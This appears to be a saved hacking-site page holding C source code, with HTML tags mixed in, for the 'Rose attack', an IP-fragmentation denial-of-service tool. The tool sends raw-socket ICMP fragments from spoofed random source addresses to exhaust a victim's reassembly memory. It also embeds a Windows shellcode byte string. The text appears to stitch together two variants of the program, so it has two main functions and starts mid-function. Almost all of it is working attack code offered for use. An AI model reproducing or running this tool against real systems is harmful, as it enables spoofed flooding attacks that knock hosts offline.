📄 ip碎片攻击源代码 [www_cnxhacker_com].htm
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255;<BR><BR>for(i = sizeof(struct iphdr) + sizeof(struct
icmphdr) + 1;<BR>i < SMALLICMP; i++){ <BR>pkt[i] = random()
% 255;<BR><BR>}<BR><BR>if((s = socket(AF_INET, SOCK_RAW,
IPPROTO_RAW)) < 0) { <BR>perror("error:
socket()");<BR>return 1;<BR>}<BR><BR>printf(" Sending out
series of small
fragments\r\n");<BR><BR>for(i=0;i<NUM_PACKETS;i++){
<BR>ip->id = htons(idList[i]);<BR>for (j=0; j<8170; j +=
SMALLICMP + 1){ <BR>ip->frag_off = htons(j |
IP_MF);<BR>if(sendto(s, pkt,<BR>SMALLICMP + sizeof(struct
iphdr), <BR>0, (struct sockaddr *)victim,<BR>sizeof(struct
sockaddr_in)) == -1) { <BR>perror("error:
sendto()");<BR>return 1;<BR>}<BR>}<BR>}<BR><BR>printf("
Sending out tailing fragments\r\n");<BR>/* big frag at end...
*/<BR>/* sending a large amount of the end fragments over
and<BR>over. This is definitely overkill, but seems to work
*/<BR>for (j=0;j<9999*NUM_PACKETS;j++){
<BR>for(i=0;i<NUM_PACKETS;i++){
<BR>ip->id=htons(idList[i]);<BR>ip->frag_off =
htons(8190|IP_MF);<BR>//ip->frag_off = htons(8100 |
IP_MF);<BR>sendto(s, pkt, sizeof(struct iphdr) + SMALLICMP,
<BR>0, (struct sockaddr *)victim, <BR>sizeof(struct
sockaddr_in));<BR>/* if you do sleep, CPU usage goes way down.
But memory usage<BR>still creeps upward */<BR>//usleep(100);
//sleep after every trailing packet<BR>}<BR>usleep(100);
//sleep after every series of
NUM_PACKETS<BR>}<BR>free(pkt);<BR>close(s);<BR>return
0;<BR>}<BR><BR>int main(int argc, char *argv[])<BR>{
<BR>struct sockaddr_in victim;<BR>struct hostent
*he;<BR>unsigned long source;<BR>int
i;<BR><BR>srandom(time(NULL));<BR><BR>if(argc <
2)<BR>usage(argv[0]);<BR><BR>if((he = gethostbyname(argv[1]))
== NULL) { <BR>herror(argv[1]);<BR>exit(1);<BR>}<BR><BR>if
(argc > 2){ <BR>source = inet_addr(argv[2]);<BR>}<BR>else {
<BR>source =
randip();<BR>}<BR><BR>memcpy(&victim.sin_addr.s_addr,
he->h_addr, he->h_length);<BR>victim.sin_port =
htons(0);<BR>victim.sin_family =
PF_INET;<BR><BR>printf("Sending ICMP fragments:
\r\n");<BR>fflush(stdout);<BR>fire_away(&victim,
source);<BR>if (argc < 3){ <BR>source =
randip();<BR>}<BR><BR>fflush(stdout);<BR>printf("\nDONE\n");<BR>fflush(stdout);<BR>}<BR><BR><BR>/***<BR>ROSE
attack (chuck@lemure.net)<BR><BR>Discovered
by:<BR>gandalf@digital.net<BR><BR>code modified from large
IGMP attack by:<BR>Kox by Coolio
(coolio@k-r4d.com)<BR><BR><BR>Sends out first and last ICMP
packet echo request.<BR>Reportedly works for TCP / UDP as
well, since this is<BR>a IP layer attack.<BR><BR>Eats up all
available packets for fragmentation
reassembly.<BR><BR><BR>***/<BR><BR>/* just a thousand kills
win XP */<BR><BR>#define NUM_PACKETS 1000<BR><BR><BR>#include
<stdio.h><BR>#include <unistd.h><BR>#include
<stdlib.h><BR>#include <netdb.h><BR>#include
<string.h><BR>#include <errno.h><BR>#include
<pwd.h><BR>#include <time.h><BR>#include
<sys/types.h><BR>#include
<sys/socket.h><BR>#include
<sys/utsname.h><BR>#include
<netinet/in.h><BR>#include
<netinet/ip.h><BR>#include
<netinet/ip_icmp.h><BR><BR>#include
<netinet/ip_icmp.h><BR><BR>/* Figured I try sending some
shell code for my random payload...<BR>doesn't do
anything<BR>*/<BR><BR>char code[]
=<BR>"\xe8\x38\x00\x00\x00\x43\x4d\x44\x00\xe7\x79\xc6\x79\xe5\x49\x86"<BR>"\x49\xa4\xad\x2e\xe9\xa4\x1a\x70\xc7\xd9\x09\xf5\xad\xcb\xed\xfc"<BR>"\x3b\x8e\x4e\x0e\xec\x7e\xd8\xe2\x73\xad\xd9\x05\xce\x72\xfe\xb3"<BR>"\x16\x57\x53\x32\x5f\x33\x32\x2e\x44\x4c\x4c\x00\x01\x5b\x54\x89"<BR>"\xe5\x89\x5d\x00\x6a\x30\x59\x64\x8b\x01\x8b\x40\x0c\x8b\x70\x1c"<BR>"\xad\x8b\x58\x08\xeb\x0c\x8d\x57\x2c\x51\x52\xff\xd0\x89\xc3\x59"<BR>"\xeb\x10\x6a\x08\x5e\x01\xee\x6a\x0a\x59\x8b\x7d\x00\x80\xf9\x06"<BR>"\x74\xe4\x51\x53\xff\x34\x8f\xe8\x90\x00\x00\x00\x59\x89\x04\x8e"<BR>"\xe2\xeb\x31\xff\x66\x81\xec\x90\x01\x54\x68\x01\x01\x00\x00\xff"<BR>"\x55\x20\x57\x57\x57\x57\x47\x57\x47\x57\xff\x55\x1c\x89\xc3\x31"<BR>"\xff\x57\x57\x68\x02\x00\x22\x11\x89\xe6\x6a\x10\x56\x53\xff\x55"<BR>"\x18\x57\x53\xff\x55\x14\x57\x56\x53\xff\x55\x10\x89\xc2\x66\x81"<BR>"\xec\x54\x00\x8d\x3c\x24\x31\xc0\x6a\x15\x59\xf3\xab\x89\xd7\xc6"<BR>"\x44\x24\x10\x44\xfe\x44\x24\x3d\x89\x7c\x24\x48\x89\x7c\x24\x4c"<BR>"\x89\x7c\x24\x50\x8d\x44\x24\x10\x54\x50\x51\x51\x51\x41\x51\x49"<BR>"\x51\x51\xff\x75\x00\x51\xff\x55\x30\x89\xe1\x68\xff\xff\xff\xff"<BR>"\xff\x31\xff\x55\x2c\x57\xff\x55\x0c\xff\x55\x28\x53\x55\x56\x57"<BR>"\x8b\x6c\x24\x18\x8b\x45\x3c\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18"<BR>"\x8b\x5a\x20\x01\xeb\xe3\x32\x49\x8b\x34\x8b\x01\xee\x31\xff\xfc"<BR>"\x31\xc0\xac\x38\xe0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf2\x3b\x7c"<BR>"\x24\x14\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c"<BR>"\x01\xeb\x8b\x04\x8b\x01\xe8\xeb\x02\x31\xc0\x89\xea\x5f\x5e\x5d"<BR>"\x5b\xc2\x08\x00";<BR><BR>void
usage(char *arg)<BR>{ <BR>printf("Rose
attack\n");<BR>printf("Usage: %s <victim> [source]\n",
arg);<BR>printf("If source not specified, will send out from
random ip's\n");<BR>exit(1);<BR>}<BR><BR><BR>unsigned int
randip()<BR>{ <BR>struct hostent *he;<BR>struct sockaddr_in
sin;<BR>char *buf = (char *)calloc(1, sizeof(char) *
16);<BR><BR>sprintf(buf,
"%d.%d.%d.%d",<BR>(random()%191)+23,<BR>(random()%253)+1,<BR>(random()%253)+1,<BR>(random()%253)+1);
<BR><BR><BR>return inet_addr(buf);<BR><BR>}<BR><BR>unsigned
short in_cksum(unsigned short *buh, int len)<BR>{ <BR>register
long sum = 0;<BR>unsigned short oddbyte;<BR>register unsigned
short answer;<BR><BR>while(len > 1) { <BR>sum +=
*buh++;<BR>len -= 2;<BR>}<BR><BR>if(len == 1) { <BR>oddbyte =
0;<BR>*((unsigned char *)&oddbyte) = *(unsigned char
*)buh;<BR>sum += oddbyte;<BR>}<BR><BR>sum = (sum >> 16)
+ (sum & 0xFFFF);<BR>sum += (sum >> 16);<BR>answer =
~sum;<BR>return answer;<BR>}<BR><BR>int rose(struct
sockaddr_in *victim, unsigned long src)<BR>{ <BR>int SMALLICMP
= 1000;<BR>unsigned char *pkt;<BR>struct iphdr *ip;<BR>struct
igmphdr *igmp;<BR>struct icmphdr *icmp_pkt;<BR>struct utsname
*un;<BR>struct passwd *p;<BR><BR>int i, s,j;<BR>int id =
(random() % 40000) + 500;<BR><BR>pkt = (unsigned char
*)calloc(1, SMALLICMP);<BR>ip = (struct iphdr
*)pkt;<BR>icmp_pkt = (struct icmphdr *)(pkt + sizeof(struct
iphdr));<BR>ip->version = 4;<BR>ip->ihl = (sizeof *ip) /
4;<BR>ip->ttl = 255;<BR>ip->tot_len =
htons(SMALLICMP);<BR>ip->protocol = 1;<BR>ip->id =
htons(id);<BR>ip->frag_off = htons(IP_MF);<BR>ip->saddr
= src;<BR>ip->daddr =
victim->sin_addr.s_addr;<BR>ip->check =
in_cksum((unsigned short *)ip, sizeof(struct
iphdr));<BR><BR>icmp_pkt->type =
ICMP_ECHO;<BR>icmp_pkt->code = 0;<BR>icmp_pkt->checksum
= 1000;<BR>icmp_pkt->un.echo.id = random() %
255;<BR>icmp_pkt->un.echo.sequence = random() %
255;<BR><BR>for(i = sizeof(struct iphdr) + sizeof(struct
icmphdr) + 1;<BR>i < SMALLICMP; i++){ <BR>//pkt[i] =
random() % 255;<BR>pkt[i] = '\x00';<BR>}<BR>j=0;<BR>for
(i=sizeof(struct iphdr) + sizeof(struct icmphdr) + 500;<BR>i
< sizeof(struct iphdr) + sizeof(struct icmphdr) + 500 +
356; <BR>i++){ <BR>pkt[i] = code[j];<BR>j++;<BR>}<BR>if((s =
socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
<BR>perror("error: socket()");<BR>return
1;<BR>}<BR><BR>if(sendto(s, pkt, SMALLICMP, 0, (struct
sockaddr *)victim,<BR>sizeof(struct sockaddr_in)) == -1) {
<BR>perror("error: sendto()");<BR>return 1;<BR>}<BR><BR>/* big
frag at end... */<BR><BR>ip->frag_off =
htons(8100);<BR>//ip->frag_off = htons(8100 |
IP_MF);<BR>sendto(s, pkt, SMALLICMP, 0, (struct sockaddr
*)victim, <BR>sizeof(struct
sockaddr_in));<BR><BR>free(pkt);<BR>close(s);<BR>usleep(1000);<BR>return
0;<BR>}<BR><BR>int main(int argc, char *argv[])<BR>{
<BR>struct sockaddr_in victim;<BR>struct hostent
*he;<BR>unsigned long source;<BR>int
i;<BR><BR>srandom(time(NULL));<BR><BR>if(argc <
2)<BR>usage(argv[0]);<BR><BR>if((he = gethostbyname(argv[1]))
== NULL) { <BR>herror(argv[1]);<BR>exit(1);<BR>}<BR><BR>if
(argc > 2){ <BR>source = inet_addr(argv[2]);<BR>}<BR>else {
<BR>source =
randip();<BR>}<BR><BR>memcpy(&victim.sin_addr.s_addr,
he->h_addr, he->h_length);<BR>victim.sin_port =
htons(0);<BR>victim.sin_family =
PF_INET;<BR><BR>printf("Sending ICMP fragments:
");<BR>fflush(stdout);<BR>for(i = 0; i < NUM_PACKETS;
i++)<BR>{ <BR>rose(&victim, source);<BR>if (argc < 3){
<BR>source = randip();<BR>}<BR>printf("%d\n",
i);<BR>fflush(stdout);<BR>}<BR>printf("\nDONE\n");<BR>fflush(stdout);<BR><BR><IMG
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